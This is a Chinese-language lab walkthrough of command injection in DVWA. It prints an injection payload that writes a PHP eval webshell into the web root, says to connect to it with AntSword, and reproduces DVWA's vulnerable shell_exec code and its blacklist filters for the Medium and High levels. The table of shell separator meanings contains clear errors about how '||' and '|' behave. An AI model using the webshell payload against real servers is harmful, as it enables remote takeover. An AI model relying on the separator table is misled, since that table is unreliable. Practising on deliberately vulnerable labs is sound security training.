命令执行/注入原理篇:
命令执行攻击跟我们发现系统的输入点特性有密切的联系,是通过攻击者对目标应用进行信息收集,发现存在未严格过滤的用户输入点,然后利用这些输入点尝试注入操作系统命令,最终让目标系统执行我们注入的恶意命令的过程。、
1.Low等级
先根据他的提示输入一个ip地址。
可以看到,这里的网站提供的命令是一个ping命令,与直接使用主机ping没有什么区别。
那么我们就可以尝试使用命令连接符看服务器是否有更多的过滤:命令1 命令连接符 命令2
我们可以对目标服务器系统进行一个判断,使用操作系统对应的能用的系统连接符进行命令的连接
系统类型 | 命令连接符 |
windows | && || & | |
linux | && || & | ; |
命令连接符的含义
命令连接符 | 含义 |
&& | 前面命令为真,才会执行后面的命令 |
|| | 前面命令为假或者为真都会执行后面的命令 |
& | 前面命令为真为假都会执行后面的 |
| | 如果前面命令为真了,则后面的命令就不执行了 |
; | 按顺序执行,命令1 然后 命令2 |
接下来我们来尝试使用命令连接符来执行我们想要执行的命令
可以看到,命令成功执行打印出了当前的用户,说明我们可以直接||后面直接执行我们想要执行的东西,此时我们可以构建payload来上传我们的一句话木马,然后直接在我们的输入框里执行
127.0.0.1 | echo "<?php
class Executor {
public function run($c) {
eval($c);
}
}
$obj = new Executor();
$obj->run($_POST['cmd']);
?>"
> C:\phpstudy_pro\WWW\dvwa\shell.php
执行完成后我们就可以使用蚁剑对我们的目标机进行连接
Low等级原码分析
关键执行代码,可以看到 low等级是直接把前端输入的命令拿过来执行,没有任何过滤,所以可以执行别的代码
$cmd = shell_exec( 'ping ' . $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
2.Medium等级
Medium等级原代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以看到,相对于Low等级,medium等级对&&和分号进行了过滤,其实渗透方法还是一样的
3.High等级
High等级原代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'||' => '',
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
High等级对所有的连接符都进行了过滤,但是在对|过滤的时候|后面有个空格,所以导致过滤不严格,所以我们的payload还是可以使用的